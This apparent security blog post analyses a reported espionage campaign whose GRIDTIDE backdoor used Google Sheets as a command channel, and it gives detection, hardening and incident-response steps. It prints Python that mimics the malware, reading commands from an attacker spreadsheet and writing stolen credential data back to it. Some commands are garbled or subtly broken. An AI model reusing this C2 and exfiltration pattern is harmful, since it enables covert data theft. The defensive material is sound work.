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Introduction:
In a significant revelation from Google’s Threat Intelligence Group (GTIG) and Mandiant, a sophisticated cyber espionage campaign linked to a China-nexus threat actor (UNC2814) has been uncovered, compromising over 53 organizations across 42 countries. The campaign is notable for its novel operational security approach: the abuse of legitimate Google Sheets API functionality to create a stealthy Command-and-Control (C2) channel. By weaponizing trusted cloud infrastructure rather than exploiting a software vulnerability, the attackers—utilizing a backdoor dubbed GRIDTIDE—successfully blended malicious traffic with legitimate cloud activity, evading traditional network detection mechanisms and targeting telecommunications and government networks globally.
Learning Objectives:
- Understand how threat actors (UNC2814) leverage legitimate API functionality (Google Sheets) for C2 infrastructure to evade detection.
- Analyze the GRIDTIDE backdoor mechanism and its operational security benefits from an adversary perspective.
- Learn detection methodologies and mitigation strategies against API abuse and cloud-based threats.
- Identify Indicators of Compromise (IOCs) and forensic artifacts left by such campaigns.
- Develop hardening techniques for cloud environments against similar supply chain attacks.
You Should Know:
- Anatomy of the Attack: How GRIDTIDE Abused Google Sheets API
The core innovation of the UNC2814 campaign was the use of Google Sheets as a dead-drop resolver. Instead of connecting to a suspicious IP or domain, the GRIDTIDE backdoor communicated with legitimate Google infrastructure. The malware would authenticate to Google’s APIs using OAuth 2.0 and read specific, pre-determined cells in a Google Sheet controlled by the attacker. These cells contained encrypted commands or next-stage payload locations. The infected machine would then write output or stolen data back into other cells within the same sheet.
Step‑by‑step guide to understanding the flow:
This process mimics how a developer might legitimately interact with Google Sheets API.
1. Initial Compromise: The victim executes the GRIDTIDE payload (likely via phishing).
2. Authentication: The malware uses embedded or fetched tokens to authenticate to `https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}`.
3. Command Retrieval: It performs a `GET` request to read a specific range (e.g., ‘Sheet1!A1:A2’).
Conceptual Python code of what the malware does:
import requests
import json
Attacker-controlled Spreadsheet ID
SPREADSHEET_ID = "1BxiMVs0XRA5nFMdKvBdBZjgmUUqptlbs74OgvE2upms"
RANGE_NAME = "Control!A1"
url = f"https://sheets.googleapis.com/v4/spreadsheets/{SPREADSHEET_ID}/values/{RANGE_NAME}"
headers = {'Authorization': 'Bearer [bash]'}
response = requests.get(url, headers=headers)
command_data = json.loads(response.text)
Command is hidden in the 'values' field
4. Exfiltration: After executing the command, the malware writes the output back.
Data to exfiltrate
values = [["Exfiltrated_Data: user_credentials.txt"]]
body = {'values': values}
write_url = f"https://sheets.googleapis.com/v4/spreadsheets/{SPREADSHEET_ID}/values/Output!A1:value?valueInputOption=RAW"
requests.put(write_url, headers=headers, json=body)
5. Cleanup: The attacker can delete the rows or modify the cells to remove traces, though Google’s version history may retain them.
2. Detecting API-Based C2 Infrastructure on Endpoints
Traditional network monitoring might see traffic to `.googleapis.com` and deem it benign. Detection requires analyzing the context of the traffic and the process behavior. Defenders must hunt for anomalous API usage patterns by processes that should not be interacting with Google Workspace APIs.
Step‑by‑step guide for hunting on Linux/Windows:
- Linux (Process Monitoring): Use `auditd` to monitor processes making network connections.
Audit rule to watch for any process using curl or wget to googleapis.com auditctl -a always,exit -F arch=b64 -S connect -F key=api_egress Search logs for connections to sheets.googleapis.com by non-browser processes ausearch -k api_egress | grep -i "sheets.googleapis.com" | grep -v "firefox|chrome"
- Windows (Sysmon): Configure Sysmon to log network connections (Event ID 3) and look for anomalies.
- Check: `powershell Get-WinEvent -FilterHashtable @{LogName=”Microsoft-Windows-Sysmon/Operational”; ID=3} | Where-Object { $_.Message -match “sheets.googleapis.com” }`
– Analyze the `Image` (process path). Ifpowershell.exe,rundll32.exe, or a random process in `%TEMP%` is connecting, it is highly suspicious. - Network (Zeek/Bro): Zeek can log HTTP/SSL certificates. While the connection is encrypted (TLS), the Server Name Indication (SNI) reveals the domain.
- Check `ssl.log` for `server_name: sheets.googleapis.com` and correlate with `http.log` or `conn.log` to find low-volume, periodic connections that deviate from normal user behavior.
3. Reverse Engineering the GRIDTIDE Evasion Techniques
GRIDTIDE’s strength lies in its use of “trusted” platforms. This technique, known as “Living off the Land” (LotL) applied to the cloud, makes the traffic indistinguishable from bulk traffic if inspected superficially.
Step‑by‑step guide to analyzing the evasion methodology:
- Traffic Whitelisting Bypass: Because the destination is Google, organizations rarely block it. Defenders must shift from “block malicious” to “allow only necessary.”
- API Key Rotation & Monitoring: Attackers need valid API keys or OAuth tokens. Organizations should monitor for OAuth grants to applications named innocuously (e.g., “System Update Service”) that request Google Sheets API scopes.
– Google Workspace Admin Check:
– Navigate to `Security` -> `API Controls` -> Manage OAuth App Access.
– Look for apps with the scope: `https://www.googleapis.com/auth/spreadsheets` that were not explicitly approved by IT.
3. Statistical Analysis: Use tools like `zeek` to calculate the entropy or regularity of connections.
– A human using Google Sheets manually might have sporadic traffic. A backdoor checking in every 60 seconds on the dot creates a periodic signal detectable via time-series analysis (e.g., using Elasticsearch’s `auto_date_histogram` aggregation).
4. Cloud Hardening Against API Abuse
The UNC2814 campaign highlights that cloud security is a shared responsibility. While Google terminated the attacker’s projects, organizations must secure their own edges against such abuse.
Step‑by‑step guide to cloud security posture:
- Restrict Outbound API Access: If endpoints do not need to access Google APIs, block them at the firewall level using FQDN filtering.
iptables example for Linux workstations iptables -A OUTPUT -d sheets.googleapis.com -j DROP Note: This is extreme; usually done via proxy policies, not stateless firewalls.
- Conditional Access Policies (Azure/Entra ID or Google Workspace): Enforce device compliance for any application accessing sensitive cloud services.
- Policy: Require hybrid-joined or compliant device for any app accessing Google Sheets API from a non-browser client.
- API Key Vaulting: Never hardcode API keys in applications. If malware extracts a key from memory or disk, it can be used indefinitely until revoked.
- Use secret managers (HashiCorp Vault, AWS Secrets Manager) to issue short-lived tokens.
5. Exploitation and Mitigation: Lessons from Telecom Targeting
The telecom sector was heavily targeted. Attackers likely used the initial GRIDTIDE foothold to pivot to SS7 or Diameter protocol vulnerabilities, which are used in core telecom networks.
Step‑by‑step guide to mitigating lateral movement post-API abuse:
- Network Segmentation: Ensure that workstations infected with GRIDTIDE cannot route traffic to critical operations support systems (OSS) or business support systems (BSS).
Cisco ACL Example on a router between IT and Telecom OSS access-list 101 deny ip 192.168.1.0 0.0.0.255 10.10.0.0 0.0.0.255 access-list 101 permit ip any any
- Monitor for SS7 Abuse: While hard to detect, anomalous SMS routing or location queries can be logged.
- Apply the Principle of Least Privilege: The compromised machine should only have the API scopes necessary for its function. If a machine is compromised, but its service account only has read access to a single sheet, the blast radius is contained.
6. Response Playbook: Revoking Access and Eradication
Following Google’s lead, a rapid response involves cutting the C2 channel by invalidating the attacker’s control mechanism.
Step‑by‑step incident response:
- Identify the Attacker’s Assets: Find the Spreadsheet ID or Google Cloud Project ID used by the attacker.
- Disable C2 Channel: If you are Google (or the cloud provider), you terminate the project.
3. If you are the victim:
- Block DNS resolution for the specific API endpoints at the firewall.
- Force a password/API token reset for all users and service accounts on the affected network.
- Use EDR (CrowdStrike, SentinelOne) to query for processes that accessed `sheets.googleapis.com` in the last 30 days.
CrowdStrike RTR example (conceptual) runscript -CloudFile="Find-APIAccess" -CommandLine='-Domain sheets.googleapis.com'
What Undercode Say:
The UNC2814 campaign marks a paradigm shift in cyber espionage, moving away from noisy malware towards “service-based” C2 infrastructure. By abusing Google Sheets API, the threat actors turned a trusted collaboration tool into a covert weapon, effectively rendering traditional signature-based detection useless.
- Key Takeaway 1: The line between “shadow IT” and “malicious IT” is blurring. Organizations must monitor the use of legitimate services, not just the presence of malware. If an attacker can hide in the cloud, you must monitor the cloud activity of your endpoints.
- Key Takeaway 2: Supply chain attacks now include “API chain” attacks. Compromising one legitimate API (Google Sheets) allowed the attackers to compromise 53 global entities. Defenders must adopt Zero Trust principles, treating every API call—even to Google—as a potential threat until validated.
Prediction:
This attack will catalyze a new wave of “Cloud Detection and Response” (CDR) tools specifically designed to parse API logs (like Google Workspace logs) to identify machine-to-machine account takeovers. Furthermore, we predict that state-sponsored actors will increasingly turn to abusing collaboration suites (Slack, Teams, Notion) for C2, forcing these platforms to implement anomaly detection on API access patterns. The “hack back” aspect seen here (Google terminating the infrastructure) will become a standard competitive advantage for tech giants defending their ecosystems, blurring the lines between defender and active neutralizer.
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Reported By: Anna Ribeiro – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
